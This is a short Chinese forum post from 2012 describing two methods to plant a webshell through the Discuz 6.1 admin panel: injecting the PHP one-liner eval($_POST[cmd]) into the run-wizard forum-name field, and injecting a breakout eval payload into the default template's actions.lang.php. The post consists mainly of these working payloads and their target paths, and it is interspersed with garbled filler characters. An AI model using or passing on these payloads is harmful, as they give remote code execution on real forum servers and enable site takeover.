discuz6.1两种方法后台拿shell
6 N& @6 `. L j2 g) F- R1 f: S好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
0 ~8 M) d) S) `+ W1:" [+ V* U; b: `; S/ M
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
- D# }- ?6 x( Cadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell! X9 u# u5 `. O, O: z) y! s
<?php eval($_POST[cmd]);?>8 z; a' h. T4 ?' U* J
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php8 j& S7 S& w/ `# H8 T: R+ e) V
0 S6 C; [2 [2 ?3 y
, q( T: p+ Y! k) Y& Z
2:后台模板管理--默认模板套系--详情
K, A9 O& S& ^. }# Wtemplates/default/actions.lang.php' L' q l, G: a0 Q
jhackj\\');eval($_POST[cmd])?>;//$ h/ h# H3 B7 r# M V8 j
& [3 D+ d2 N3 z k
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对